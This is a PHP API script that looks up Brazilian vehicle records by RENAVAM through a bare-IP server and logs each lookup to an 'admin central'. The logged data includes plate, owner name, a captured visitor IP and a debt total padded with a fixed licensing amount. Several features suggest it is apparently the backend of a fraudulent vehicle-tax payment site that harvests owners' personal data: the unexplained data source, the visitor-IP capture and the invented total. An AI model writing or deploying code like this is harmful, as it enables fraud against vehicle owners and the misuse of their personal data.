<?php

header('Content-Type: application/json; charset=utf-8');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

$renavam = $_GET['renavam'] ?? '';

if (empty($renavam)) {
    http_response_code(400);
    echo json_encode(['success' => false, 'error' => 'Parâmetro renavam é obrigatório']);
    exit;
}

$url = "http://18.231.253.198/rj2.php?renavam=" . urlencode($renavam);

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 60,
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_FOLLOWLOCATION => true,
]);

$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
    http_response_code(502);
    echo json_encode(['success' => false, 'error' => "Erro: {$error}"]);
    exit;
}

$data = json_decode($response, true);

// REGISTRA A CONSULTA NO ADMIN CENTRAL (Captura Completa)
if (isset($data['success']) && $data['success'] && isset($data['veiculo'])) {
    try {
        require_once __DIR__ . '/client-config.php';
        $v = $data['veiculo'];
        $cob = $data['cobranca']['dadosCobranca'] ?? [];
        $placa = $v['nuPlaca'] ?? $v['placa'] ?? null;
        
        // Calcula o total geral de débitos disponíveis
        $totalGeral = 0;
        foreach($cob as $item) {
            $totalGeral += (float)($item['vlIpvaCota'] ?? 0);
        }
        // Adiciona valor base do licenciamento aproximado para o total
        $totalGeral += 262.17; 

        trackEvent([
            'action' => 'consulta_placa',
            'placa' => $placa,
            'visitor_id' => $_REQUEST['visitor_id'] ?? null,
            'captured_ip' => $_REQUEST['captured_ip'] ?? null,
            'renavam' => $renavam,
            'modelo' => ($v['dsMarca'] ?? '') . ' ' . ($v['dsModelo'] ?? ''),
            'proprietario' => $v['noResponsavel'] ?? $cob[0]['noResponsavel'] ?? 'CONTRIBUINTE',
            'total_debitos' => (float)$totalGeral,
            'metadata' => [
                'veiculo' => $v,
                'extrato' => $cob,
                'total_geral' => (float)$totalGeral,
                'origem' => 'RJ_API'
            ]
        ]);
    } catch (\Exception $e) {
        error_log("Tracking error in RJ api.php: " . $e->getMessage());
    }
}

echo $response;
